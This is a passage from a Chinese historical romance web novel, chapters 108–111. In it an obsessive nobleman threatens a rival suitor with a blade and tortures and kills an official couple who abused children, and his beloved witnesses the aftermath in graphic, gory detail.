萍柳才气呢,没忍住就放大了嗓子,“清水镇江大人还和小姐同住了一屋,对外做了假夫妻,这事奴婢还未告诉侯爷夫人!若要论起来,江大人是毁了我们小姐的清誉,该娶也得娶我们小姐!”
林妈妈一听,脸色骤变,“你方才说什么?同住一屋?”
萍亭吓坏了,赶忙拉了萍柳衣袖,萍柳也意识到自己坏事了,飞快捂住嘴巴。
那时候在清水镇,两个丫鬟俱是不同意姬时语和江曜同住,但姬时语说了没事,两人便不敢逾越置喙。
可事后萍柳越琢磨越不对劲,江曜这不是平白占她家小姐便宜吗?
想到两人关系亲密,小姐心甘情愿,待日后江曜来迎娶小姐,那也不错,萍柳便歇了心思。
如今听得楚王府与曾家恐要结亲,萍柳一时之下气得失言。
萍亭忙道:“妈妈,萍柳多话了,没有的事儿,咱们小姐你还不懂吗?”
“确实是不懂了,小姐成日便喜欢和江大人走一道,从小到大,六年了,也没变过。”
林妈妈沉重叹口气,许是这些年看着姬时语长大,也跟着有些怅然。
珠帘一动,三人齐齐回了头,便见姬时语打了帘子,已是立在了门边。
萍柳慌张喊道:“小姐!”
“你们说的我都听到了。”
姬时语神情淡淡,不像是出事人。
萍亭却慌乱,“小姐……”
“好了,无事,在府上随意说道不打紧,出去了可得守死了嘴巴。”
姬时语绕开几人,径直朝外走,萍亭与萍柳对了眼,两人皆从对方眼中望见了一丝纳闷之色。
倚靠在韶华院那扇漆面隔扇门之上,姬时语脸颊微泛着怏怏之色,几乎是下一刻,从屋檐窜下两道身影。
站定后,是宁氏姐妹。
姬时语问道:“如何了?”
她一个眼神睨来,宁氏姐妹便已意会,宁心沉定道:“人手撤下了一半,但仍有至少八人围在附近。”
姬时语的脸瞬间便冷凝了下来,她咬了牙,“江曜……”
即使是回了京城,江曜仍未撤走所有人马,姬时语说过她无需这样之多的人看着,江曜听不进去。
这令姬时语很窝火。
宁乐迟疑,“小姐,可要属下去捉拿江大人的人?”
宁家姐妹的意思是,好话不如打一场,两人并不畏惧与江曜的人动刀。
“不必。”
姬时语却颦眉止了她,“不过,你们是要见一下他的人,去找那个哑巴少年,让他想法子回王府传话,我要见江曜。”
宁氏姐妹应后,两人再度隐去身影。
姬时语靠着隔扇门,沉沉吐出一口浊气,良久,她才提裙缓步回了屋。
一盏茶的功夫,江曜人已至。
院外夜色朦胧,韶华院中点了几盏油灯,彻屋明亮。
姬时语静立在窗边,手执一把剪子,耐心地剪着烛火。
“阿锁。”
江曜抬步入了主屋,姬时语侧首睇了一眼萍亭与萍柳,她示意两人退下。
两个丫鬟对江曜已然没了好脸色,但走前还是悻悻然地带上了屋门。
姬时语再度剪起烛火,她没看江曜,江曜却走近了她。
察觉她兴致不高,抬手便要揽她的腰。
他又是低声喊她:“阿锁。”
“让开。”
姬时语冷眼避开他的手,那把剪子旋即便对准了江曜的胸膛,她道:“不准你碰我。”
江曜凝望身前的剪子,再俯视姬时语那张玉白的脸,她蹙眉不悦,水眸晃动着一股隐隐的火光。
姬时语很少会当真和他置气,偶时打闹起来也只是她小性子使然,无需多哄便消气了。
可今日瞧着,确实是真的在恼火着。
江曜便也没动,“阿锁,我惹你不快了?”
“你还知道我不快了?”
姬时语怒视着他,“江曜,我说过几回了,其一我不喜欢你在我身边安插那样之多的人,像要无时无刻拘着我一样。”
“我从未说过要拘着你。”
江曜眉宇冷下,他只做此事的解释,“我只是希望你身边能有人可用。”
“不要。”
姬时语还是那句话:“你对我做的任何事,都该过了我的准许才可行之,不若便是在违背我的意愿,我不会喜欢。”
沉默了许久,江曜垂下狐狸眼,他叹息道:“好,今日之后,我会让人撤回去的。”
姬时语心口稍稍舒缓,见他尚可听的进她话,便还是有的救。
有的救,那么她便容忍他一回。
思及此,姬时语终于放了剪子,她那张玉白面颊也因烛火旺起,点了微亮的红光,显得粉嫩柔软。
江曜的眉又软下来了,姬时语不气恼,他便想凑过去抱她。
离了侯府的日子太难熬,不能时时同她见面,一日便如三秋。
可是江曜才牵住姬时语的手,她再度板起小脸,刺了他一句:“江曜,从前是我不懂,总被你哄骗着占了便宜,现如今你还想骗我到何时?”
江曜的动作顿住了,“我没想哄骗你……”
“谁人不知道江大人才认祖归宗几日啊,便要迎娶美娇娘了,让我猜猜这姑娘是谁呢?啊,是尚书府曾大人家的爱女。”
姬时语甩了江曜的手,粉面紧绷,大口一气之下说完话,口渴不已,立刻走去桌边倒了一杯茶。
咕噜喝下之后,心中畅快几分。
可还不够,她还不满意,姬时语继而出言挖苦于江曜。
“我听说宝仪姑娘在岭西见你的第一眼便喜欢上了?喜欢你竟喜欢了五年,还道出非你不嫁的豪言壮语,江曜啊江曜,有这么好的姑娘喜欢你,情深意重,那我真是先恭贺江大人了。”
呵笑一声,姬时语冷道:“是啊,怎样,曾家的小姐嫁给你,你可钟意?”
定定望着江曜清冷的俊容,对这张脸她是气也有,可喜欢却又更多。
她一样恼自己不争气,瞧他几眼便心软。
索性姬时语不去看了,只是扭头冷哼,道:“不如江大人娶了宝仪姑娘如何呢?”
姬时语越说越恼,越恼越恨,照着江曜的脸便将茶杯一股脑砸过去,江曜徒手便接住了。
“我要她做什么?”
江曜握着那只茶杯,下一刻,茶杯在他手中四分五裂。
他攥紧了手,数片瓷片扎入他的掌心,顿时鲜血四溅,连他下颌也被崩了几滴血花。
“我已经有你了,阿锁。”
江曜那双狐狸眼一成不变的神情,他立在烛火之前,半面脸明亮着,火光便照在了他黑沉的眼瞳之中。
就这么看着姬时语,江曜松开了掌心,哗啦啦的瓷片登时往地上掉,噼里啪啦的作响。
和着他手上不断滴落的血,好似沉重的巨石,一滴、一滴落在了姬时语的心尖。
“江曜,你!”
姬时语耐不住喊出了声,尾音变了调,“你做什么?”
方才姬时语还在抱臂环胸,小脸凶巴巴的,气恼甚了,粉面晕起两团红,她怒瞪江曜说着怪里怪气的话。
可转瞬见得江曜受了伤,她的眉眼便尽是着急。
江曜爱极了她各种的小模样,耍起小脾气亦是让他爱的不行。
她是多在乎他,才会为曾宝仪而恼他。
江曜眼中是化不开的墨,他好像完全感觉不到疼,只是抬手看了一眼满手的鲜血,复而又朝着姬时语笑。
“看吧,阿锁,你很心疼我呢。”
“你,先给我闭嘴!”
姬时语忙回内室去翻找药膏,早年江曜旧伤多,萍亭萍柳便在韶华院备了许多药物和麻布。
这都六年过去了,竟还能派上用场。
想到江曜徒手捏碎茶杯,姬时语暗骂他一句疯子。
但是心疼已战胜了所有,她快步折返回桌边,固执抓了江曜的手腕过来,先用巾帕沾了水擦洗伤口,再给他上药包扎。
江曜定定注视着她轻柔动作,仿佛又回到很早之前,她将他视作易碎的瓷器,那般珍爱。
只要他一受伤,姬时语便会同他发脾气。
这世上,她是唯一一个,那么的把他放在心上心疼的人。
江曜再也无法抑制眼中的情愫,单手拦住姬时语的芊芊柳腰,便将她抱入了臂弯之中。
姬时语还恼呢:“伤还未上好药,你就乱动。”
“阿锁,想先抱着你,让我抱一会儿,嗯?”
她站着,他坐着,江曜抱着她腰,头颅贴在她腹部,轻轻抬了头,狐狸眼里尽是温柔的色泽。
姬时语想恼也恼不起来。
“你有多心疼我,真让我好开怀。阿锁,我喜欢你这样对我,所以,你不必为曾宝仪而苦恼,自始至终,我都没多看过她一眼,更妄论我会娶她。”
江曜抬起血淋淋的左手,眼尾挑起阴郁的色,“阿锁,若是曾宝仪当真让你这般烦恼的话,我会一一亲手解决了。”
“不要。”
这股熟悉之感,是江曜想开刃见血了。
他意思他要杀了曾宝仪,解姬时语的忧。
姬时语眼皮一跳,她迅速捉住江曜的手,不许他再乱动。
“江曜,我不许你杀人!”
姬时语对曾宝仪没杀心,她斥责他道:“曾宝仪是个好姑娘,她只是爱慕你。”
“呵,阿锁还是太心软善良,不过罢了,有你在,世上旁的那些事,对我来说都不重要。”
江曜低低笑出了声,他贴着她,蹭蹭她的腰腹。
姬时语为了哄他,顺从的给他抱着、温存着,江曜全身的血液都在这一刻兴奋起来了。
低沉的嗓子像能窜入姬时语的心腔,江曜说着动听的话。
“在岭西的五年我们天各一方,景色各异,但是阿锁,我心中一直想着、念着,迟早有一日能和你殊途同归。”
姬时语哽咽了。
这便够了。
她要的不过是这句话,让她明晓她在京城等他的那几年,他同样煎熬地思念她。
他明白她介意之处,也懂得如何哄她好。
就是这样的真心,弥补珍贵到,让她禁不住眼眶湿润。
第109章
从韶华院离开,已近夤夜。
寒风凄厉,江曜独自立于空寂的院中,亲眼见姬时语熄灯睡下后,
方才离去。
走前林二现身来见了江曜,江曜吩咐下去:“你留下,其余人随我回王府。”
江曜应了姬时语,小姑娘恼他插手太过,同他真的发了脾气,他需得退让一步。
不可真将人逼急了。
……
翌日一早,曾宝仪乘坐马车上街。
曾宝仪入京已有一个月,这一个月曾夫人总拘着她不让出府。
今日得了空闲,曾宝仪终是能领着丫鬟去京城主街中和街,买一份她心心念念许久的间笋蒸鹅。
坐在中和街最大的酒楼天字一号厢中,曾宝仪眺目,不时感慨窗外楼下的热闹繁华。
“京城与岭西就是不一样,莫怪都说京中多风流,亲眼所见才知真切。”
曾宝仪趴在桌上,不一会儿又苦恼起旁事,她问大丫鬟音书。
“你说我可要下个请帖给忠义侯府的五小姐,请她玩儿呢?我和江大人的妹妹不熟,又怎么能和江大人熟起来?”
音书默默叹口气,她很想劝自家姑娘不如死心吧,“小姐,快六年了,江大人他……”
只是音书的话还未说完,厢房大门已被人一脚踹开了。
一股莫大的风灌入,引得曾宝仪忙抬起手臂挡眼睛,音书却已是大喊出了声。
“江,江大人!”
曾宝仪缓了缓,甫一放下胳膊,入目竟是一张清冷容貌,得见江曜冷冽的狐狸眼,她顿时心旷神怡。
“你……”
整一个月,曾宝仪都没能见到江曜,即便去了楚王府,也没见他一面。
江曜竟来找她了?
曾宝仪霎时激怀,喜悦之下小脸扬笑便喊:“江大人,你……”
岂料江曜眼里的墨色越发深沉,他冷着脸大步走来,一只手拔出刀来。
在曾宝仪惶恐惴惴的瞪目之中。
江曜扬起长刀,一把插入了曾宝仪身侧的木桌。
刀面几乎是擦着曾宝仪的面皮而过,只差一分,他便砍上了她的脖子。
曾宝仪快吓傻了,小脸惨白,双目瞪大,身子僵硬的不得动弹。
内心挣扎着、尖叫着,让自己快些跑,可曾宝仪的腿不听使唤,被江曜那双冷厉狐狸眼紧锁注视着,一股威压的迫人之感席卷了她全身。
曾宝仪全身不住的颤抖,牙关也在打架,“江、江大人……”
江曜执起刀横在了她的脖子,他眼中杀气很重。
“曾宝仪,来,告诉我,你对阿锁究竟说了什么话?”
能惹得姬时语那样误解了他。
“我……”
曾宝仪被江曜吓得满脸涨红,快喘不上气了。
眼眶全是泪水,她想求饶,可喉咙被卡住,连一个字也吐不出来。
音书要疯了,在旁不停磕头,“江大人,求江大人放过我们小姐,莫要杀小姐啊!”
江曜仅存的理智,听得了“杀”这个字,恍惚间,他又响起姬时语的话。
她不准他杀曾宝仪。
江曜沉着脸,松开了手。
自打被姬时语察觉他会背着她动刀之后,姬时语越发敏感惊觉,但凡江曜一有动作,她便会出声警告。
已有太久,江曜没开刀见血了,皆为着她的话。
江曜不想姬时语伤心,全数听从。
今日,亦是如此。
曾宝仪如获新生,大口猛烈喘气。
她绷不住自己的眼泪,哗啦啦地掉,但又不敢抬头看江曜一眼,生怕惹江曜杀意更甚。
她不吭声,江曜不满意了,“曾宝仪,你还不说?”
“你,你要我说什么……咳咳咳。”
曾宝仪费解,那日在楚王府她并未出言对姬时语不逊,她自幼习得循训蹈规,唯一一回张扬,便是扬言要嫁江曜。
是以,她真的想不出。
“你说在岭西你我之间做过了何事?”
江曜拧眉,他不耐地踱步,屡次想要拔刀,硬生生给忍了。
“我同你清清白白,你竟让阿锁误了你的意思,以为你我早有旧情?”
曾宝仪胆敢说一个是字,江曜真要杀了她的。
“不是,不是……”
曾宝仪吓白了脸,她知晓两人误会了自己,不愿让江曜和姬时语心生芥蒂,赶紧咳嗽着解释。
“我只是想和江大人的妹妹交好,让她替我在你这儿说点好话,对不住,江大人,是我多事了。”
“哈,你让她为你说好话?”
江曜大抵是真懂了,曾宝仪以为两人是兄妹,结果闹出这档子荒唐事。
对此,江曜直言道:“往后你离忠义侯府的五小姐远一点,少说有的没的。”
“可是……江大人,我……”
曾宝仪捂住生疼的脖子,她还想开口诉说心意。
然而,江曜那张凉薄的唇,却先一步突出了一串话来。
“还有,你莫要将她视作我的妹妹,阿锁是我喜欢的姑娘,我这辈子只会娶她为妻。”
江曜缓缓收刀,不管不顾曾宝仪震惊的眼,他落下一句:“今日我不杀你,你再多事,可就说不准了。”
他人来的快,走的也快。
浩浩荡荡,如一阵风,毫不留情。
曾宝仪跌跌落在地上,音书扑过来大哭,曾宝仪被晃了晃,神色茫然。
她还未回过神,脑子里全是江曜说的那句。
忠义侯府五小姐,乃是他想要迎娶的姑娘。
不是妹妹。
原来,她全想佐了。
……
姬时语还在韶华院中沏茶,便听萍亭匆忙入屋,禀报门房有事。
“小姐,是曾家的小姐求见于你。”
萍亭说的也焦急,“像有急事似得,在门房哭求放她入府见小姐一面。”
姬时语拧了拧眉,曾宝仪怎突然上忠义侯府来了?
不容她多想,也不好放任曾宝仪在忠义侯府门前哭哭啼啼,姬时语已是点了头。
“让人带她来韶华院吧。”
曾宝仪来时,真如萍亭所说,哭花了一张脸。
她本生了一张圆脸,又是曾家的明珠,可脸蛋落下两道泪痕,惨兮兮的。
“曾小姐?”
姬时语喊了她一声。
曾宝仪已是小跑过来,顾不上花颜失色,当即扑进姬时语怀中,便抱着她一通抽泣呜咽。
她的哭声含杂了委屈,曾宝仪蹭蹭姬时语的肩,双手抓住她怎么也撒不了手。
姬时语好生疑惑,“怎么了这是?”
“五小姐……”
曾宝仪窝在她怀里委委屈屈的。
“有人欺负你了吗?”
“五小姐,呜呜呜呜……”
姬时语还在抚曾宝仪的后背,她拍了几下,谁知怀中的姑娘哭声更大了,她一被安慰更受不住,只想满腹哭罢才好。
叹了口气,姬时语只能无奈陪着她。
许久之后,曾宝仪方止住了大哭,她抬起头,双眼红肿的如核桃一般,这回再一见姬时语娇俏的脸,竟是不好意思地垂了头。
“对不住五小姐,让你见丑了。”曾宝仪怯懦道。
姬时语喊了萍柳给她打了水,音书服侍曾宝仪擦了一把脸,温热帕子过了脸,曾宝仪感觉好生舒服。
她好像活过来了。
姬时语拍拍她的手,似懂非懂地问她:“不会是江曜去找你了吧。”
果不其然,话音落,曾宝仪的身子便是一颤。
姬时语叹口气,心中暗骂江曜一句,“他怎么同你说的?”
“五小姐,你是如何招惹了这样的一个疯子的?”
曾宝仪才擦过脸,她脸上红痕很深,全是哭的,这会儿正怒气巴巴瞪眼,直接当着姬时语的面开骂。
“江大人根本就是个疯子!”
曾宝仪气坏了,“他来寻见我,就是要杀了我!我亲眼看着他拔了刀,差点就把我的脑袋砍了。”
姬时语眼皮狠狠一跳,心也是一沉。
她昨日和江曜说的白说了吗?
她明明说过不准他对曾宝仪动杀心。
“这人五年前我怎没早点看清?疯得跟什么似得,二话不说就要开杀,谁能受得了他一刀下去?”
曾宝仪还在咒骂:“若我早知道他是个疯子,我才不会喜欢他!当初我觉着他生得好看,才心生执念,若知晓他性子这么的恶劣,说什么我也不会放出豪言壮语。”
早先在酒楼那一出,受江曜胁迫之后,曾宝仪便生起一个念头,她定要告诉忠义侯府的五小姐,让她不得踏入苦海。
被疯子喜欢上,定是一件十分可怕的事。
“五小姐,江大人这病又不是真的那等病,恐怕连治都没法子治,日后许是时不时就会犯。”
因此,曾宝仪忙抓住了姬时语的手,用心劝说道:“我总觉着喜欢上江大人,迟早也要同他一样发疯得病。我已是看清了,从今往后我不会喜欢他,我来找你,也是想劝你慎重些。”
“我……”
姬时语干巴了,她该如何说呢?
“你被他看上,定是过的可怜日子,我心疼
坏了。”
曾宝仪满眼怜惜,尤其是姬时语生得娇俏可人,又是粉面柔肌,她总觉得这顶顶好的姑娘怎会喜欢上一个疯子。
保不齐是江曜背地里欺负惨了五小姐。
曾宝仪说的话更是满心劝。
“五小姐,眼下你们还未定亲,一切都还来得及,你要早些看清他啊!江大人太暴虐了,我太害怕了,也不知你害不害怕?”
姬时语叹息,“怎么会不怕呢?”
“五小姐,你一定要好好的,若能逃,便是走吧,你这样漂亮的姑娘,可千万不能死在江大人手中!”
曾宝仪走之前,还是以那种无比怜惜、心疼的眼神注视着姬时语。
她是真心畏惧,怕有朝一日姬时语也死在江曜的刀下。
才会直言让姬时语护住小命,趁早逃离江曜,远远的。
姬时语哭笑不得,她不知江曜怎将曾宝仪吓成了这般,竟是连带还怕她没了命。
总归江曜定是拔刀开了刃,去吓唬一介闺中姑娘。
他不听话,姬时语便要训斥他。
说到这人改了为止。
尚书府曾大人的爱女曾宝仪,如何能一言不合就开杀?
江曜做事实在不计后果。
想起这一出,姬时语本白嫩柔和的小脸霎时又没了笑,她抬手招了萍亭和萍柳来。
“去备车,我要去见哥哥。”
第110章
楚王府,主院。
江曜步入内室,扑鼻而来的便是浓郁的药味,不用他想,此处只会是他那个双腿残废的亲爹的住处。
此时楚王正仰躺于床上,一袭薄被盖在身上,他侧了侧头,看清楚是江曜来了,惨白的脸顿生出一抹笑来。
“曜儿。”
楚王喊江曜。
江曜并不习惯被喊这个名字。
十八年了,他和“江曜”这个名字相知甚少。
甚至于很多时候他都以为自己并非江曜,而是江云让,亦或者江池生。
江池生意味着他被母亲生下来的那段日子,江云让则是他身为阿锁的哥哥,她的依恋。
可是江曜呢?
除了他必须当上江曜,以楚王府为靠山,迎娶姬时语,给她一个尊贵的身份之外。
这个名字对他而言,没有意义。
因此江曜平淡地回道:“父王,还是喊我云让吧。”
楚王轻轻叹了口气,他以为江曜是在责怪自己,生起内疚。
“当年确实是我做的不够好,若是我能早些明白你娘的用意,你也不必沦落到过这些年的苦日子。”
“还好。”
江曜的脸庞十分平和与宁静。
他说还好,便真的就只是还好的意思。
虽说在乡野长大,他同野狗般任人打骂宰割,可也让他遇到了姬时语,他最爱的姑娘。
若能选择,他宁愿不要这身荣华富贵,下一世也执意要和姬时语再度相遇陪伴。
楚王问他:“你找我,可是有事?”
“是有事。”
江曜点了头。
自打江曜回了楚王府,他安静的像并无他这个人一般。
楚王不愿楚王妃与江子墨打扰江曜,便给他安置了稍远的院落。
却也不知道江曜会不会怪自己。
楚王垂下眼,就听江曜开了口,“你应知道我对胡家下了手,我不打算放过王妃与胡家,若是走到那一日,你会恨我吗?”
江曜并没想得到楚王的体谅,他只是在诉说一件他必要做之事。
提前给楚王说一句,免得他后知后觉。
至少,楚王算他明面上的父亲。
“你对胡家?”
楚王错愕抬头,“曜儿,你不可亲自动刀!既然胡家已犯了命案,便让官府定他们的罪就好。你双手染血,若被陛下降罪,让父王怎么办?”
江曜闻言勾唇,“我知道了。”
楚王不在乎胡家和楚王妃,反而很在乎江曜这个亲生儿子的命,这已让江曜很满意了。
不过他还有另一件事,需要告诉楚王。
江曜又一次开口:“父王,曾家的好意,推了吧。”
“为何?”
父子俩对视上双眼,楚王眼中不解,江曜的狐狸眼却是清清楚楚、明明白白的凉意。
如他母亲白流一样,下定了决心,便绝不会允任何人更改。
楚王心中泛起酸涩,他的身子躺平回去,不再看江曜,不是不愿,而是不敢。
默了默,他再度应了这个失而复得的儿子。
“好,你对曾家女无意,父王不会逼你,只是曾家位高又清正,曾家女若能嫁给你,也算是门当户对。”
“门当户对?”
江曜发出冷笑,“父王,我只要我喜欢的姑娘,若是你不让我娶,我宁可不回楚王府。”
“你,你……”
楚王相当震惊,他瞪大眼看过来了,“曜儿,你已有了心悦之人?是哪家的姑娘?”
江曜道:“忠义侯府的五小姐。”
“什么?竟然是忠义侯府……忠义侯府,难怪啊,你和那孩子青梅竹马,是五小姐啊……”
楚王不知在念叨什么,说来说去的,“忠义侯执掌兵权,不好办啊,当年白家的路,我真怕他们也要走一遍的……不过你喜欢,罢了,你喜欢的姑娘,我是拼上这条命也定会替你讨回家。”
能得楚王这样的回答,江曜实在太满意了。
头一回,他看这个便宜父亲是如此的顺眼。
残废不残废的又有何妨,楚王能替他讨姬时语回楚王府。
他便真要心甘情愿喊他一声父亲。
……
姬时语坐马车寻上楚王府门时,却被王府侍卫告知,江曜并不在府上。
脸又沉了沉,姬时语唤出宁心,命她去寻林二。
不一会儿,宁心便带了话回来,林二给姬时语写下一张纸条,纸上是横七竖八一串不像话的字。
“公子在陈家。”
都察院右副都御史陈家。
姬时语恍惚想起这个名字。
当日楚王府宴席之上,从凉州调任而来的太守夫人,生着菩萨脸的陈夫人,便是这家的主母。
没想太多,姬时语喊车夫调转马车,往陈家赶去。
陈家位于西街,因才入京不久,弘文帝赐下一座前人所住的三品府邸。
宅院老旧,门前的石狮映着斑驳。
姬时语抵达之时,陈家门前已有数位官兵聚集。
撩开帘子眼见这一幕,姬时语心头便是一个咯噔,她下了车,往前头府门而入。
她刚要问门房的人,可巧五军都督府的都事陈疾驾马赶来,他翻身下马喊了声:“五小姐。”
“陈大人。”
“你怎在这里?”
姬时语见是熟人,陈疾乃是江曜的下属之一,她福礼,表明来意,“我有些事想寻江大人,便是我的兄长江曜。”
“你来找江大人的啊。”
陈疾神情了然,望见姬时语神色窘迫,他哈哈一笑,“看样子是江大人的人告诉你他在这里了,不过正好,我方才被大人调回都督府取手薄,这会儿正要去,我领你一起?”
姬时语笑回:“那便麻烦陈大人了。”
两人遂一道踏入陈府。
陈家府邸杂乱无章,这座三品府邸本就已有多年未有人居住,院落不多清扫,显得灰败。
姬时语走过长廊,连院中游廊的木柱也是漆面掉落,零散纷乱,灰意遍布。
“陈大人。”
姬时语蹙眉,小声多问了一句,“今日是陈家出事了?”
“五小姐,此乃公事不便与你细说,不过大人之所以在陈家,确实是陈家人犯了事。”
陈疾拐弯抹角地答:“不止是大人在,刑部和锦衣卫也来了人,只是不在咱们这道,不然撞上了指不定要数落几句呢。”
姬时语便不再多问。
三四月的京城正好是梅雨之季,今日并无太阳,姬时语抬头睨了一眼天,灰蒙蒙一片,如陈家大院的破旧,灰败沉沉。
姬时语的心霎时飘去了江曜那处。
另一面,江曜正在陈家西北角的一处院落之中。
他闭了屋门,老旧的隔扇门发出“嘎吱”地骇人动静。
屋中一盏微弱蜡烛被点亮了,江曜举着蜡烛走近。
他的手执到哪里,哪里便有了光,就着烛火,映照出两张被绑住口舌,惊恐万分的脸来。
正是都察院右副都御史正陈方全,与其夫人。
滚烫的烛火滴落在其中一张的菩萨眉之上,陈夫人被烫得放声大嚎。
“啊!”
两人的四只眼睛之中,赫然浮现江曜阴郁的眼。
江曜的脸阴狠怖人,他看懂了两人脸上的神情,他们在问:
为何要闯入陈家,绑了他们夫妻二人?
江曜又为何单独审问,不过刑部的手?
“看样子你们已记不得我是
谁了。”
江曜将烛火搁置于桌上,两人在黑暗之中再看不清他的脸,但江曜那双狐狸眼却仍旧能清晰地锁住他们。
手持了一把银光匕首,江曜在手心翻面转动。
这回他没有用刀,而是将匕首在火上来回翻烤。
“都察院右副都御史正陈方全,原凉州太守,嗜好男童。”
一股森冷的气息在黑暗的屋中缭绕。
“时任父母官的这些年,靠太守夫人救济可怜乞丐,寻找年岁颇小的男孩,以医治之名带回府上。”
这些孩童在伤养好之后,便遭了陈方全的毒手。
因都是些无父无母的孤儿,死无对证,甚至对外无人知晓两人犯下的滔天罪恶。
而后陈方全被调任回京,任命都察院右副都御史正,江曜终于是留意到了两人。
他已手握两人罪证,并上禀弘文帝,今日协同刑部对陈家查封。
“六年前,凉州地界,陈夫人可真是一位好菩萨啊,在凉州布了粥棚,救济凉州百姓,是吗?”
江曜掀开凉薄的唇,“仗着救济百姓的幌子,陈夫人给你这个卑鄙龌龊、人面兽心的夫君犯下多少桩禽兽不如的事,需要我一一为你们说道明白?”
陈夫人满眼泪水,那把泛着银光的匕首愈发靠近了,她疯狂摇头后退。
“那年,你将我带入了府上,意欲将我送上你夫君的床榻,我没杀了你们泄愤,你们倒还自己送上门来了?”
江曜凶狠蹙眉,他一刀喂进了陈方全的身体。
陈方全惨厉尖叫,额头满是大汗,江曜见得温热的血喷溅手心,却没就此罢休。
这对夫妻,六年前将他带入太守府,差点对他成事,能逃脱全靠他留了心眼。
江曜恨极了两人。
“陈大人啊陈大人啊,凉州百姓眼中的青天大老爷,你手上沾有多少条人命,全是些可怜的孩子。上天不开眼,竟让你当上了都察院右副都御史正。”
江曜眼中冰凉:“我今日便要替天行道。”
昏暗之室,再多的肮脏也会被掩埋。
不过一刻钟,屋中已没了声息,江曜也有些累了,他抬手以手背抚了一把下巴。
刹那间,鼻腔满是浓厚的血腥味。
想到这是陈家夫妻两人的血,江曜厌恶地摆了手,他灭掉蜡烛,欲出院寻人收拾残局。
便在这时,屋外的大门被人从外推开了。
推开门的一刹那,屋中的血腥味扑面而来,姬时语遏制不住地捂住鼻子。
无尽光亮照入了屋中,江曜侧目而望,看清楚来人,他登时大惊,整个人是后怕的慌张。
“阿,锁……”
姬时语望见了这辈子见过的,最可怕的一幕。
有两具尸体正朝门这面侧躺,一具半张脸已是破碎糜烂,另一具眼窝空空,目不转睛地盯着她看。
姬时语挪不动自己的眼睛,她死死盯着那双空洞眼窝,在那之上的菩萨眉。
眉是完好的,她认出人来了。
正是不久前才见过的,陈夫人。
姬时语双腿发软,站不稳路,她哪里见过这等场景?
当即是满脸惨白,踉跄要倒,姬时语赶忙抓住了身边的门板。
可一垂头,一双碎掉的眼珠子就落在脚边。
“啊!”
姬时语神魂俱碎,被吓得彻底魂飞魄散。
江曜,他,他究竟做了什么啊!
姬时语浑身止不住的颤抖,她抑制不了胸腔不断的痉挛反呕,攀着门边便是干呕起来。
“阿锁。”
江曜一袭赤红官服,他双手沾血,连衣袍也染红了大半,血液干涸,暗红点点。
站在屋里中央,宛如置身于炼狱之中。
见姬时语呕吐,江曜想上前,可身上血腥气太重,又惟恐她受不了。
踌躇之下,最后还是没有迈出步子。
少年的眉宇很干净,只下颌被擦留了一处血迹,他狐狸眼垂下,像犯事被抓住的孩子。
“阿锁,你先出去,不要在这儿了。”
江曜哄着她说。
“你……江曜!我不是说过了,让你不能开刀见血!今日你怎么在陈家光明正大的杀了人?”
姬时语一双水灵灵的猫瞳再也忍不住望向了他,她的干呕停不下来,脚又软的厉害,几度扶住自己爬起来。
便为了质问江曜。
江曜显得无措,“我没想到你会来这里。”
“我不来你就瞒着做了?江曜,你真的不可理喻,我的话你听进去过吗?”
“我何时没听过?阿锁,我已是足够听你的话了。”
“你这叫听话,那你告诉我,他们怎么死的,不是被你杀了?江曜,你就不该杀陈大人和陈夫人,你为什么,你……”
“阿锁,他们两人就是该死。”
江曜蓦地冷下脸:“你根本就不知道当年发生过什么,今日即便你在跟前,这两人我都杀定了。”
姬时语真感到一股莫大的毛骨悚然,她是不是直到今日,才真正看清楚江曜的真面目啊。
他藏了多久。
那张干净皮囊之下,是如恶鬼一样的凶残。
他下手这么凶狠,会不会……
有朝一日也杀了她?
他会杀了她。
他真的会杀了她的!
姬时语眼珠子都在突突的跳,脑中不断浮现起陈夫人的音容笑貌,如菩萨似得温柔,话音又宛如舒氏,相当真切。
到了最后,便是陈夫人空空荡荡,被挖去眼珠子的眼窝,直勾勾盯着她看。
怎么会这样?
怎么会这样啊!
江曜觉察姬时语眼中的害怕,她的身子在不停颤抖,从踏进门后便未停下过。
她凝望他的时候,宛如一株在寒风中瑟瑟发抖的小花。
“阿锁,你别怕我,我……”
江曜朝前走了一步,他神色落寞,狐狸眼低垂,当真在和小姑娘认错。
“我可以把事由都同你解释清楚的,你愿意听我说吗?”
“你别过来!”
姬时语一张玉白的脸毫无血色,她是真心在怕江曜会对她动手。
脑中唯有一个念头。
她得走,她必须要走。
姬时
语听不进去江曜的半句话,此时此刻,她只想跑。
捂住嘴,姬时语奋力爬起身,头也不回地便朝院外冲了出去。【你现在阅读的是 】
110-120
第111章
一连三日,姬时语陷入无穷无尽的梦魇。
梦里一会儿是陈夫人温声细语在宴会说着话,菩萨眉一弯,人是尤为的慈眉善目。
一会儿她眼窝空空,披头散发朝着姬时语扑过来,陈夫人掐住了她的脖子,血盆大口张开,滚滚鲜血喷溅。
洒了姬时语一脸。
陈夫人嗬嗬嗬的笑着,嘴里不断说道:“姬时语,你兄长要了我的命呐,我要你偿命!”
“你们杀了我,你们杀了我……而你,而你竟爱上了这样的疯子,你也该死,你也该死啊!”
“去死,去死,去死!”
“啊!”
姬时语惊恐万分,她满身冷汗泥泞,梦魇缠绕从未止过。
她亲眼所见那血腥的一幕,竟真是江曜所为。
他想过没有,和刑部同去都察院右副都御史府,江曜竟先瞒着刑部抓人动用私刑,将陈大人夫妻逼死。
弘文帝该多雷霆之怒,会怎样治他的罪。
胡家和楚王妃又会不会再度寻了把柄,置他于死地?
朝有律法,凡事该冷静善待,姬时语和江曜说过几回了,他压根就没听进去过。
一时间,沈南怀的话又再度浮起。
“五小姐,江大人脾性难摸清,就怕日后对你下手,若是可以,你最好先行躲避一阵子。”
其后便是曾宝仪的话——
“五小姐,你千万不能被江大人杀了啊!快跑啊!”
姬时语慌不择路地迅速爬起身。
院外此刻还是黑乎乎的一片,夤夜还未过去,她心口狂跳,小脸雪白,下床踱了鞋子,便往院外跑去。
一路狂奔至海棠苑,喊声不止。
霎时间,舒氏和杨嬷嬷起了身,点着一盏明亮的灯。
舒氏看清楚是小女儿,惊呼:“阿锁?”
姬时语猛然扑进母亲温暖的怀抱,她哭着哽咽,“娘,娘,呜呜呜呜……”
“这是梦魇了?好阿锁,不怕啊,娘陪着你呢。”
舒氏将姬时语扱抱上床,如同儿时那般,拍着她后背,轻哄她,“没事儿,娘在这,阿锁,没事的。”
“娘,我好害怕啊,太可怕了,我不想死,我不想死,呜呜……”
姬时语啜泣,哭声一阵一阵的。
